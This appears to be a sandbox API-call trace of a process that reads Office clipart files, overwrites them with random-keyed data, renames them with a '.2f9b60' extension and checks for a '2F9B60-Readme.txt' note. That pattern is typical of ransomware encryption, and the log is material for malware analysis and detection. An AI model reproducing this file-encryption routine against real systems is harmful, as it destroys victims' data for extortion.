RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0096.129] NtQuerySystemTime (in: CurrentTime=0x2a38f900 | out: CurrentTime=0x2a38f900*=132462177019690000) returned 0x0 [0096.129] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x7e203628 [0096.129] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x3ef69e27 [0096.129] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x7f6453c4 [0096.129] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x20c48fdb [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x19a1178e [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0xecfe7fd [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x2ab2d0c2 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x78c6157a [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x6f3880bd [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x2127d1f [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x562932c1 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x58ef4248 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x3d908d7f [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x7e68dc09 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x48dd74a7 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x6af31953 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x730755e6 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x2d73789d [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0xcf23119 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x6bb84b4c [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x293e2958 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x21bc30e2 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x79088edd [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x14ebc531 [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0xde6ba2b [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x2cfdb60e [0096.130] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x9bd5c30 [0096.131] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0xdd996f8 [0096.131] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x4de184b3 [0096.131] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x3c154bc5 [0096.131] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x3afa094e [0096.131] RtlRandomEx (in: Seed=0x2a38f8f0 | out: Seed=0x2a38f8f0) returned 0x50234c78 [0096.141] ReadFile (in: hFile=0xea4, lpBuffer=0x2020c1b0, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x2a38f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesRead=0x2a38f8f0*=0x1b48, lpOverlapped=0x0) returned 1 [0096.143] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.143] WriteFile (in: hFile=0xea4, lpBuffer=0x201ae130*, nNumberOfBytesToWrite=0x1b48, lpNumberOfBytesWritten=0x2a38f8f4, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesWritten=0x2a38f8f4*=0x1b48, lpOverlapped=0x0) returned 1 [0096.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0096.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860000) returned 1 [0096.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0096.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0096.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0096.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0096.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860000 [0096.245] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.245] WriteFile (in: hFile=0xea4, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a38fa10, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2a38fa10*=0x10a, lpOverlapped=0x0) returned 1 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0096.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0096.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0096.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.303] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="35") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="aa") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="25") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="2e") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="c2") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="65") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="d4") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="7d") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="d9") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="4b") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="6a") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="17") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="e2") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="d8") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="a5") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="8e") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="66") returned 2 [0096.303] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="72") returned 2 [0096.304] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="8e") returned 2 [0096.304] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="bf") returned 2 [0096.304] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="dd") returned 2 [0096.304] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="ca") returned 2 [0096.304] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="55") returned 2 [0096.304] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="ff") returned 2 [0096.304] RtlInitAnsiString (in: DestinationString=0x2a38fa88, SourceString="35aa252ec265d47dd94b6a17e2d8a58e66728ebfddca55ff" | out: DestinationString="35aa252ec265d47dd94b6a17e2d8a58e66728ebfddca55ff") [0096.304] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a38fa58, SourceString="35aa252ec265d47dd94b6a17e2d8a58e66728ebfddca55ff", AllocateDestinationString=1 | out: DestinationString="35aa252ec265d47dd94b6a17e2d8a58e66728ebfddca55ff") returned 0x0 [0096.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863d50 [0096.304] wcscat (in: _Dest=0x1b7ae240, _Source="35aa252ec265" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\35aa252ec265") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\35aa252ec265" [0096.304] wcscat (in: _Dest=0x1b7ae240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\35aa252ec265.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\35aa252ec265.2f9b60" [0096.304] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\35aa252ec265.2f9b60", NtPathName=0x2a38fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\35aa252ec265.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278170 [0120.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278170) returned 1 [0120.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49cb0) returned 1 [0120.595] NtQueryInformationFile (in: FileHandle=0xea4, IoStatusBlock=0x2a38fa98, FileInformation=0x2a38faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a38fa98, FileInformation=0x2a38faa8) returned 0x0 [0120.595] NtSetInformationFile (FileHandle=0xea4, IoStatusBlock=0x2a38fa98, FileInformation=0x2a38faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0122.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae240) returned 1 [0122.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863d50) returned 1 [0122.669] FlushFileBuffers (hFile=0xea4) returned 1 [0122.670] CloseHandle (hObject=0xea4) returned 1 [0122.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0a10 [0122.860] wcscpy (in: _Dest=0x202b0a10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0122.860] wcscat (in: _Dest=0x202b0a10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0122.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0122.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0a10) returned 1 [0122.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a600) returned 1 Thread: id = 659 os_tid = 0x1130 [0095.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0096.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF", dwFileAttributes=0x20) returned 1 [0096.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea0 [0096.073] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x2a78f9a0 | out: lpFileSize=0x2a78f9a0*=13254) returned 1 [0096.073] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x33c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.073] ReadFile (in: hFile=0xea0, lpBuffer=0x2a78f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a78f968, lpOverlapped=0x0 | out: lpBuffer=0x2a78f920*, lpNumberOfBytesRead=0x2a78f968*=0x4, lpOverlapped=0x0) returned 1 [0096.112] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0096.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0096.113] NtQuerySystemTime (in: CurrentTime=0x2a78f860 | out: CurrentTime=0x2a78f860*=132462177019534000) returned 0x0 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x68921f01 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0xc24411a [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x6e022af3 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0xaf3e9e8 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x3f21a055 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x566e66a8 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x6f91ba4f [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x2b987c99 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x2b14f29d [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x6d0ab45c [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x5cb40db7 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x6b65c0c6 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x465bece2 [0096.113] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x1548bc37 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x111f10a5 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x18c4980 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x5ab33395 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x25736bee [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x6c872696 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x64174519 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x2a87f802 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x350907d9 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0xffe128 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x73301742 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x76c224f [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x4ede7b9 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x668f98f1 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x31b5a090 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x1f665f3d [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x75492d15 [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x6f473cfb [0096.114] RtlRandomEx (in: Seed=0x2a78f850 | out: Seed=0x2a78f850) returned 0x23289b1c [0096.128] ReadFile (in: hFile=0xea0, lpBuffer=0x20204990, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x2a78f850, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x2a78f850*=0x33c6, lpOverlapped=0x0) returned 1 [0096.241] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.241] WriteFile (in: hFile=0xea0, lpBuffer=0x202085a0*, nNumberOfBytesToWrite=0x33c6, lpNumberOfBytesWritten=0x2a78f854, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesWritten=0x2a78f854*=0x33c6, lpOverlapped=0x0) returned 1 [0096.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0096.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0096.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0096.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202085a0) returned 1 [0096.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0096.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0096.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0096.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7bc0 [0096.282] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.282] WriteFile (in: hFile=0xea0, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a78f970, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2a78f970*=0x10a, lpOverlapped=0x0) returned 1 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0096.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0096.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0096.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.294] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="2c") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="7e") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="0e") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="5e") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="ad") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="2c") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="b3") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="85") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="b5") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="b5") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="58") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="fd") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="bc") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="fa") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="92") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="03") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="55") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="6f") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="43") returned 2 [0096.295] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="3a") returned 2 [0096.296] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="8c") returned 2 [0096.296] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="cc") returned 2 [0096.297] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="44") returned 2 [0096.297] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="11") returned 2 [0096.297] RtlInitAnsiString (in: DestinationString=0x2a78f9e8, SourceString="2c7e0e5ead2cb385b5b558fdbcfa9203556f433a8ccc4411" | out: DestinationString="2c7e0e5ead2cb385b5b558fdbcfa9203556f433a8ccc4411") [0096.297] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a78f9b8, SourceString="2c7e0e5ead2cb385b5b558fdbcfa9203556f433a8ccc4411", AllocateDestinationString=1 | out: DestinationString="2c7e0e5ead2cb385b5b558fdbcfa9203556f433a8ccc4411") returned 0x0 [0096.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863c70 [0096.297] wcscat (in: _Dest=0x1b7ae100, _Source="2c7e0e5ead2c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2c7e0e5ead2c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2c7e0e5ead2c" [0096.297] wcscat (in: _Dest=0x1b7ae100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2c7e0e5ead2c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2c7e0e5ead2c.2f9b60" [0096.297] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2c7e0e5ead2c.2f9b60", NtPathName=0x2a78f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2c7e0e5ead2c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x108200 [0109.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108200) returned 1 [0109.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49850) returned 1 [0109.385] NtQueryInformationFile (in: FileHandle=0xea0, IoStatusBlock=0x2a78f9f8, FileInformation=0x2a78fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a78f9f8, FileInformation=0x2a78fa08) returned 0x0 [0109.385] NtSetInformationFile (FileHandle=0xea0, IoStatusBlock=0x2a78f9f8, FileInformation=0x2a78fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae100) returned 1 [0109.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863c70) returned 1 [0109.388] FlushFileBuffers (hFile=0xea0) returned 1 [0109.390] CloseHandle (hObject=0xea0) returned 1 [0109.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae100 [0109.391] wcscpy (in: _Dest=0x1b7ae100, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.391] wcscat (in: _Dest=0x1b7ae100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae100) returned 1 [0109.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a690) returned 1 Thread: id = 660 os_tid = 0x1134 [0095.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0096.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF", dwFileAttributes=0x20) returned 1 [0096.071] CreateFileW (lpFileName="C:\\Program 